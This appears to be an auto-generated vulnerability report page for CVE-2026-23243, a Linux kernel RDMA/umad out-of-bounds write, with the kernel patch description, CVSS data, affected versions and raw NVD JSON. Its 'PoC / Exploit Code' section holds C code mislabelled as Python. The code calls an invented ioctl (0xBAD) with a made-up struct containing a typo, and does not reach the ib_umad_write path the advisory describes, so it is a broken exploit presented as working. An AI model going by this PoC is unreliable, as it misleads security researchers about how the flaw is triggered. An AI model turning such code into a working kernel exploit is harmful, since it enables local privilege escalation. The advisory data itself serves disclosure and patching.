Security Vulnerability Report
中文
CVE-2026-23243 CVSS 7.8 HIGH

CVE-2026-23243

Published: 2026-03-18 11:16:16
Last Modified: 2026-05-21 15:52:24
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: RDMA/umad: Reject negative data_len in ib_umad_write ib_umad_write computes data_len from user-controlled count and the MAD header sizes. With a mismatched user MAD header size and RMPP header length, data_len can become negative and reach ib_create_send_mad(). This can make the padding calculation exceed the segment size and trigger an out-of-bounds memset in alloc_send_rmpp_list(). Add an explicit check to reject negative data_len before creating the send buffer. KASAN splat: [ 211.363464] BUG: KASAN: slab-out-of-bounds in ib_create_send_mad+0xa01/0x11b0 [ 211.364077] Write of size 220 at addr ffff88800c3fa1f8 by task spray_thread/102 [ 211.365867] ib_create_send_mad+0xa01/0x11b0 [ 211.365887] ib_umad_write+0x853/0x1c80

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux内核 < 5.10.x (受影响的特定版本需查看git提交记录)
Linux内核 < 5.15.x
Linux内核 < 6.1.x
使用RDMA/umad组件的系统

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <stdio.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/userfaultfd.h> // Simplified PoC concept for CVE-2026-23243 // This demonstrates the negative data_len calculation vulnerability struct ib_user_mad_hdr { unsigned int id; unsigned int method; unsigned intmad_hdr_size; // User-controlled unsigned int data_len; // This becomes negative }; int trigger_vulnerability(int fd) { struct ib_user_mad_hdr hdr; // Craft malicious MAD header with mismatched sizes memset(&hdr, 0, sizeof(hdr)); hdr.id = 0x41414141; hdr.method = 0x12; // RMPP method // Mismatch: set mad_hdr_size to cause negative data_len hdr.mad_hdr_size = 0x10; // Smaller than expected hdr.data_len = 0xFFFFFFFF; // Large value causing overflow // Trigger the vulnerable code path return ioctl(fd, 0xBAD, &hdr); } int main() { int fd = open("/dev/infiniband/umad", O_RDWR); if (fd < 0) { perror("Failed to open umad device"); return 1; } trigger_vulnerability(fd); close(fd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23243", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-03-18T11:16:16.090", "lastModified": "2026-05-21T15:52:23.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/umad: Reject negative data_len in ib_umad_write\n\nib_umad_write computes data_len from user-controlled count and the\nMAD header sizes. With a mismatched user MAD header size and RMPP\nheader length, data_len can become negative and reach ib_create_send_mad().\nThis can make the padding calculation exceed the segment size and trigger\nan out-of-bounds memset in alloc_send_rmpp_list().\n\nAdd an explicit check to reject negative data_len before creating the\nsend buffer.\n\nKASAN splat:\n[ 211.363464] BUG: KASAN: slab-out-of-bounds in ib_create_send_mad+0xa01/0x11b0\n[ 211.364077] Write of size 220 at addr ffff88800c3fa1f8 by task spray_thread/102\n[ 211.365867] ib_create_send_mad+0xa01/0x11b0\n[ 211.365887] ib_umad_write+0x853/0x1c80"}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nRDMA/umad: Rechazar data_len negativo en ib_umad_write\n\nib_umad_write calcula data_len a partir de un conteo controlado por el usuario y los tamaños de encabezado MAD. Con un tamaño de encabezado MAD de usuario no coincidente y una longitud de encabezado RMPP, data_len puede volverse negativo y alcanzar ib_create_send_mad(). Esto puede hacer que el cálculo de relleno exceda el tamaño del segmento y desencadenar un memset fuera de límites en alloc_send_rmpp_list().\n\nSe añade una verificación explícita para rechazar data_len negativo antes de crear el búfer de envío.\n\nKASAN splat:\n[ 211.363464] ERROR: KASAN: slab-out-of-bounds en ib_create_send_mad+0xa01/0x11b0\n[ 211.364077] Escritura de tamaño 220 en la dirección ffff88800c3fa1f8 por la tarea spray_thread/102\n[ 211.365867] ib_create_send_mad+0xa01/0x11b0\n[ 211.365887] ib_umad_write+0x853/0x1c80"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.24.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "2373214A-3D90-42DB-82C4-E1879374793C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.14", "matchCriteriaId": "BF463CB7-1F58-4607-B847-77ED23E4B9B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.4", "matchCriteriaId": "672A3E79-EC03-479D-8503-361DFBDC8092"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.24:-:*:*:*:*:*:*", "matchCriteriaId": "6F3E61F3-1CF1-4176-94CD-89A408BCFC96"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1371ef6b1ecf3676b8942f5dfb3634fb0648128e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/205955f29c26330b1dc7fdeadd5bb97c38e26f56", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/362e45fd9069ffa1523f9f1633b606ebf72060d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/52ab82cc5cf8ada5c3fb6ffe8f32fdb2fc27a34b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, ... (truncated)